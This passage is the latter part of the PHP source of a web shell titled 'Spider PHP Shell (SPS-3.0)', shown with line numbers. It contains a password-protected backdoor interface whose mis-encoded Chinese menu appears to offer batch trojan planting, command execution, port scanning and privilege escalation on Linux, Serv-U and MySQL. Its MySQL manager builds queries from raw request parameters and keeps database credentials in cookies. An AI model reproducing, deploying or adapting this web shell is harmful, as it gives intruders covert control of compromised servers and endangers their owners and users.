  1727. for($i = 1;$i <= ceil($row_num / 20);$i++){$k = ((int)$_GET['p'] == $i) ? '<font color="#FF0000">'.$i.'</font>' : $i;echo '<a href="?s=r&db='.$_GET['db'].'&table='.$_GET['table'].'&p='.$i.'">['.$k.']</a> ';}
  1728. echo '</div>';
  1729. }
  1730. }
  1731. elseif(isset($_GET['insert']))
  1732. {
  1733. echo '<a href="?s=r&db='.$_GET['db'].'&table='.$_GET['insert'].'">'.$_GET['insert'].'</a></div>';
  1734. $result = mysql_query('SELECT * FROM '.$_GET['insert'],$conn);
  1735. $fieldnum = @mysql_num_fields($result);
  1736. echo '<form method="POST" action="?s=r&db='.$_GET['db'].'&table='.$_GET['insert'].'">';
  1737. for($i = 0;$i < $fieldnum;$i++)
  1738. {
  1739. $name = @mysql_field_name($result, $i);
  1740. $type = @mysql_field_type($result, $i);
  1741. $len = @mysql_field_len($result, $i);
  1742. echo '<div class="actall">'.$name.' <font color="#FF0000">'.$type.'('.$len.')</font><br><textarea name="insql['.$name.']" style="width:600px;height:60px;"></textarea></div>';
  1743. }
  1744. echo '<div class="actall"><input type="submit" value="Insert" style="width:80px;"></div></form>';
  1745. }
  1746. else
  1747. {
  1748. $query = 'SHOW TABLE STATUS';
  1749. $status = @mysql_query($query,$conn);
  1750. while($statu = @mysql_fetch_array($status))
  1751. {
  1752. $statusize[] = $statu['Data_length'];
  1753. $statucoll[] = $statu['Collation'];
  1754. }
  1755. $query = 'SHOW TABLES FROM '.$_GET['db'].';';
  1756. echo '</div><table border="0"><tr>';
  1757. echo '<td class="toptd" style="width:550px;"> ±íÃû </td>';
  1758. echo '<td class="toptd" style="width:80px;"> ²Ù×÷ </td>';
  1759. echo '<td class="toptd" style="width:130px;"> ×Ö·ûŒ¯ </td>';
  1760. echo '<td class="toptd" style="width:70px;"> ŽóС </td></tr>';
  1761. $result = @mysql_query($query,$conn);
  1762. $k = 0;
  1763. while($table = mysql_fetch_row($result))
  1764. {
  1765. echo '<tr><td><a href="?s=r&db='.$_GET['db'].'&table='.$table[0].'">'.$table[0].'</a></td>';
  1766. echo '<td><a href="?s=r&db='.$_GET['db'].'&insert='.$table[0].'"> ²åÈë </a> <a href="#" onclick="Delok(\''.$table[0].'\',\'?s=r&db='.$_GET['db'].'&drop='.$table[0].'\');return false;"> ÉŸ³ý </a></td>';
  1767. echo '<td>'.$statucoll[$k].'</td><td align="right">'.File_Size($statusize[$k]).'</td></tr>'."\r\n";
  1768. $k++;
  1769. }
  1770. echo '</table>';
  1771. }
  1772. }
  1773. }
  1774. else die('Á¬œÓMYSQLʧ°Ü,ÇëÖØеÇÂœ.<meta http-equiv="refresh" content="0;URL=?s=o">');
  1775. if(!$BOOL) echo '<script type="text/javascript">document.getElementById(\'nsql\').value = \''.addslashes($query).'\';</script>';
  1776. return false;
  1777. }
  1778.  
  1779. function Mysql_o()
  1780. {
  1781. ob_start();
  1782. if(isset($_POST['mhost']) && isset($_POST['mport']) && isset($_POST['muser']) && isset($_POST['mpass']))
  1783. {
  1784. if(@mysql_connect($_POST['mhost'].':'.$_POST['mport'],$_POST['muser'],$_POST['mpass']))
  1785. {
  1786. $cookietime = time() + 24 * 3600;
  1787. setcookie('m_spiderhost',$_POST['mhost'],$cookietime);
  1788. setcookie('m_spiderport',$_POST['mport'],$cookietime);
  1789. setcookie('m_spideruser',$_POST['muser'],$cookietime);
  1790. setcookie('m_spiderpass',$_POST['mpass'],$cookietime);
  1791. die('ÕýÔÚµÇÂœ,ÇëÉÔºò...<meta http-equiv="refresh" content="0;URL=?s=r">');
  1792. }
  1793. }
  1794. print<<<END
  1795. <form method="POST" name="oform" id="oform" action="?s=o">
  1796. <div class="actall">µØÖ· <input type="text" name="mhost" value="localhost" style="width:300px"></div>
  1797. <div class="actall">¶Ë¿Ú <input type="text" name="mport" value="3306" style="width:300px"></div>
  1798. <div class="actall">Óû§ <input type="text" name="muser" value="root" style="width:300px"></div>
  1799. <div class="actall">ÃÜÂë <input type="text" name="mpass" value="" style="width:300px"></div>
  1800. <div class="actall"><input type="submit" value="µÇÂœ" style="width:80px;"> <input type="button" value="COOKIE" style="width:80px;" onclick="window.location='?s=r';"></div>
  1801. </form>
  1802. END;
  1803. ob_end_flush();
  1804. return true;
  1805. }
  1806.  
  1807. function Root_Login($MSG_TOP)
  1808. {
  1809. print<<<END
  1810. <html>
  1811. <body style="background:#AAAAAA;">
  1812. <center>
  1813. <form method="POST">
  1814. <div style="width:351px;height:201px;margin-top:100px;background:threedface;border-color:#FFFFFF #999999 #999999 #FFFFFF;border-style:solid;border-width:1px;">
  1815. <div style="width:350px;height:22px;padding-top:2px;color:#FFFFFF;background:#293F5F;clear:both;"><b>{$MSG_TOP}</b></div>
  1816. <div style="width:350px;height:80px;margin-top:50px;color:#000000;clear:both;">PASS:<input type="password" name="spiderpass" style="width:270px;"></div>
  1817. <div style="width:350px;height:30px;clear:both;"><input type="submit" value="LOGIN" style="width:80px;"></div>
  1818. </div>
  1819. </form>
  1820. </center>
  1821. </body>
  1822. </html>
  1823. END;
  1824. return false;
  1825. }
  1826.  
  1827. function WinMain()
  1828. {
  1829. $Server_IP = gethostbyname($_SERVER["SERVER_NAME"]);
  1830. $Server_OS = PHP_OS;
  1831. $Server_Soft = $_SERVER["SERVER_SOFTWARE"];
  1832. $Server_Alexa = 'http://cn.alexa.com/siteinfo/'.str_replace('www.','',$_SERVER['SERVER_NAME']);
  1833. print<<<END
  1834. <html>
  1835. <title> Spider PHP Shell (SPS-3.0) </title>
  1836. <head>
  1837. <style type="text/css">
  1838. *{padding:0; margin:0;}
  1839. body{background:#AAAAAA;font-family:"Verdana", "Tahoma", "ËÎÌå",sans-serif; font-size:13px; text-align:center;margin-top:5px;word-break:break-all;}
  1840. a{color:#FFFFFF;text-decoration:none;}
  1841. a:hover{background:#BBBBBB;}
  1842. .outtable {margin: 0 auto;height:595px;width:955px;color:#000000;border-top-width: 2px;border-right-width: 2px;border-bottom-width: 2px;border-left-width: 2px;border-top-style: outset;border-right-style: outset;border-bottom-style: outset;border-left-style: outset;border-top-color: #FFFFFF;border-right-color: #8c8c8c;border-bottom-color: #8c8c8c;border-left-color: #FFFFFF;background-color: threedface;}
  1843. .topbg {padding-top:3px;text-align: left;font-size:12px;font-weight: bold;height:22px;width:950px;color:#FFFFFF;background: #293F5F;}
  1844. .bottombg {padding-top:3px;text-align: center;font-size:12px;font-weight: bold;height:22px;width:950px;color:#000000;background: #888888;}
  1845. .listbg {font-family:'lucida grande',tahoma,helvetica,arial,'bitstream vera sans',sans-serif;font-size:13px;width:130px;}
  1846. .listbg li{padding:3px;color:#000000;height:25px;display:block;line-height:26px;text-indent:0px;}
  1847. .listbg li a{padding-top:2px;background:#BBBBBB;color:#000000;height:25px;display:block;line-height:24px;text-indent:0px;border-color:#999999 #999999 #999999 #999999;border-style:solid;border-width:1px;text-decoration:none;}
  1848. </style>
  1849. <script language="JavaScript">
  1850. function switchTab(tabid)
  1851. {
  1852. if(tabid == '') return false;
  1853. for(var i=0;i<=14;i++)
  1854. {
  1855. if(tabid == 't_'+i) document.getElementById(tabid).style.background="#FFFFFF";
  1856. else document.getElementById('t_'+i).style.background="#BBBBBB";
  1857. }
  1858. return true;
  1859. }
  1860. </script>
  1861. </head>
  1862. <body>
  1863. <div class="outtable">
  1864. <div class="topbg"> &nbsp; {$Server_IP} - {$Server_OS} - <a href="{$Server_Alexa}" target="_blank">Alexa</a></div>
  1865. <div style="height:546px;">
  1866. <table width="100%" height="100%" border=0 cellpadding="0" cellspacing="0">
  1867. <tr>
  1868. <td width="140" align="center" valign="top">
  1869. <ul class="listbg">
  1870. <li><a href="?s=a" id="t_0" onclick="switchTab('t_0')" style="background:#FFFFFF;" target="main"> ÎÄŒþ¹ÜÀí </a></li>
  1871. <li><a href="?s=b" id="t_1" onclick="switchTab('t_1')" target="main"> ÅúÁ¿¹ÒÂí </a></li>
  1872. <li><a href="?s=c" id="t_2" onclick="switchTab('t_2')" target="main"> ÅúÁ¿ÇåÂí </a></li>
  1873. <li><a href="?s=d" id="t_3" onclick="switchTab('t_3')" target="main"> ÅúÁ¿Ìæ»» </a></li>
  1874. <li><a href="?s=e" id="t_4" onclick="switchTab('t_4')" target="main"> ÉšÃèÄŸÂí </a></li>
  1875. <li><a href="?s=f" id="t_5" onclick="switchTab('t_5')" target="main"> ϵͳÐÅÏ¢ </a></li>
  1876. <li><a href="?s=g" id="t_6" onclick="switchTab('t_6')" target="main"> ÖŽÐÐÃüÁî </a></li>
  1877. <li><a href="?s=h" id="t_7" onclick="switchTab('t_7')" target="main"> ×éŒþœÓ¿Ú </a></li>
  1878. <li><a href="?s=i" id="t_8" onclick="switchTab('t_8')" target="main"> ÉšÃè¶Ë¿Ú </a></li>
  1879. <li><a href="?s=j" id="t_9" onclick="switchTab('t_9')" target="main"> ËÑË÷ÎÄŒþ </a></li>
  1880. <li><a href="?s=k" id="t_10" onclick="switchTab('t_10')" target="main"> LinuxÌáÈš </a></li>
  1881. <li><a href="?s=l" id="t_11" onclick="switchTab('t_11')" target="main"> ServUÌáÈš </a></li>
  1882. <li><a href="?s=m" id="t_12" onclick="switchTab('t_12')" target="main"> MYSQLÌáÈš </a></li>
  1883. <li><a href="?s=n" id="t_13" onclick="switchTab('t_13')" target="main"> MYSQLÖŽÐÐ </a></li>
  1884. <li><a href="?s=o" id="t_14" onclick="switchTab('t_14')" target="main"> MYSQL¹ÜÀí </a></li>
  1885. <li><a href="?s=logout" id="t_15" onclick="switchTab('t_15')"> Í˳öϵͳ </a></li>
  1886. </ul>
  1887. </td>
  1888. <td>
  1889. <iframe name="main" src="?s=a" width="100%" height="100%" frameborder="0"></iframe>
  1890. </td>
  1891. </tr>
  1892. </table>
  1893. </div>
  1894. <div class="bottombg"> {$Server_Soft} </div>
  1895. </div>
  1896. </body>
  1897. </html>
  1898. END;
  1899. return false;
  1900. }
  1901.  
  1902. if(get_magic_quotes_gpc())
  1903. {
  1904. $_GET = Root_GP($_GET);
  1905. $_POST = Root_GP($_POST);
  1906. }
  1907. if($_GET['s'] == 'logout')
  1908. {
  1909. setcookie('admin_spiderpass',NULL);
  1910. die('<meta http-equiv="refresh" content="0;URL=?">');
  1911. }
  1912. if($_COOKIE['admin_spiderpass'] != md5($password))
  1913. {
  1914. ob_start();
  1915. $MSG_TOP = 'LOGIN';
  1916. if(isset($_POST['spiderpass']))
  1917. {
  1918. $cookietime = time() + 24 * 3600;
  1919. setcookie('admin_spiderpass',md5($_POST['spiderpass']),$cookietime);
  1920. if(md5($_POST['spiderpass']) == md5($password)){die('<meta http-equiv="refresh" content="1;URL=?">');}
  1921. else{$MSG_TOP = 'PASS IS FALSE';}
  1922. }
  1923. Root_Login($MSG_TOP);
  1924. ob_end_flush();
  1925. exit;
  1926. }
  1927.  
  1928. if(isset($_GET['s'])){$s = $_GET['s'];if($s != 'a' && $s != 'n')Root_CSS();}else{$s = 'MyNameIsHacker';}
  1929. $p = isset($_GET['p']) ? $_GET['p'] : File_Str(dirname(__FILE__));
  1930.  
  1931. switch($s)
  1932. {
  1933. case "a" : File_a($p); break;
  1934. case "b" : Guama_b(); break;
  1935. case "c" : Qingma_c(); break;
  1936. case "d" : Tihuan_d(); break;
  1937. case "e" : Antivirus_e(); break;
  1938. case "f" : Info_f(); break;
  1939. case "g" : Exec_g(); break;
  1940. case "h" : Com_h(); break;
  1941. case "i" : Port_i(); break;
  1942. case "j" : Findfile_j(); break;
  1943. case "k" : Linux_k(); break;
  1944. case "l" : Servu_l(); break;
  1945. case "m" : Mysql_m(); break;
  1946. case "n" : Mysql_n(); break;
  1947. case "o" : Mysql_o(); break;
  1948. case "p" : File_Edit($_GET['fp'],$_GET['fn']); break;
  1949. case "q" : File_Soup($p); break;
  1950. case "r" : Mysql_Msg(); break;
  1951. default: WinMain(); break;
  1952. }
  1953. ?>